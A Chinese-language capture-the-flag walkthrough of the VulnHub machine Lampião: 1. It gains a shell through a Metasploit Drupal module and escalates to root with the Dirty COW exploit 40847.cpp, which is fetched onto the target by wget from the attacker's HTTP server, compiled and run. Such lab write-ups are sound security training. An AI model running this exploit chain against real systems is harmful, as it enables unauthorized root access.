复习Linux提权的相关知识,学到脏牛提权,正好有个vulnhub靶机可以用来练手,一起来试一下!

环境搭建

靶机下载:Lampião: 1 ~ VulnHub

image-20230303164501489

使用Vmware打开靶机:

image-20230303152316746

看来需要密码,先进行信息搜集

信息搜集

使用nmap -sn xxx.0/24查找同一网段的主机,-sn是只扫描主机不扫描端口的意思

image-20230303152951578

找到一个可疑IP192.168.117.126使用nmap -p- xxx扫描对应IP的端口,发现有22 ,80,1898三个端口

image-20230303153743782

是同浏览器访问1898端口得到以下界面

image-20230303154008098

发现使用框架Drupal

image-20230303154049475

使用dirsearch -u [url]来进行敏感了目录扫描(当时没有仔细看敏感目录有什么,直接去找Drupal的漏洞去了)

image-20230303154251965

使用msfconsole打开metasploit

image-20230303155216108

在CHANGELOG.txt中发现Drupal的版本为7.54 更新时间为2017年

image-20230303155511560

直接在msf中使用search Drupal命令搜索相关的漏洞,有一个18年的就用它了

image-20230303155612179

漏洞利用

使用use 1进行漏洞利用,show options查看需要的配置

image-20230303155947519

image-20230303160002709

只需要设置RHOST和RPORT即可,即目的ip和目的端口

image-20230303160242289

设置后,使用run命令进行漏洞利用,得到一个www-data的普通用户的权限,这里总结一下刚刚漏洞利用过程的命令

1
2
3
4
5
1.use 1 //search到的漏洞编号
2.show options //查看配置
3.set RHOST xxx //设置目的ip
4.set RPORT xxx //设置目的端口
5.run //漏洞利用

image-20230303160219694

成功获取shell并使用python一句话反弹交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20230303160731092

Linux提权——脏牛提权

使用uname -a查看Linux内核版本:4.4.0-31-generic

漏洞描述:

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞。

Centos7 /RHEL7 3.10.0-327.36.3.el7

Cetnos6/RHEL6 2.6.32-642.6.2.el6

Ubuntu 16.10 4.8.0-26.28

Ubuntu 16.04 4.4.0-45.66

Ubuntu 14.04 3.13.0-100.147

Debian 8 3.16.36-1+deb8u2

Debian 7 3.2.82-1

image-20230303160834221

可以看到我们此时的靶机属于Ubuntu 14.04 3.13.0-100.147这一范围因此,可以使用脏牛提权

使用命令searchsploit dirty找到40847.cpp的位置,我们要使用的脚本就在这里了

image-20230303161628487

将其复制到当前用户目录下,注意searchsploit搜到的脚本,都在/usr/share/exploitdb/exploits中后面再加上Path中的路径即可

image-20230303162005823

使用python3 -m http.server 80命令在80端口开启http

image-20230303162057865

进入到tmp目录下使用wget http://xxx:80/40847.cpp将脚本下载到靶机(ps:使用tmp目录的原因是,一般tmp目录具有写入权限,使用时找一个具有写入权限的目录进行下载即可)

image-20230303162504106

使用

1
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 40847.cpp -lutil //1的意思为编译后的执行文件名,可自定义

命令进行编译

image-20230303163841025

编译成功,使用./1 -s命令运行执行文件1,得到root权限

image-20230303163913985

cat flag.txt 得到flag

image-20230303164000917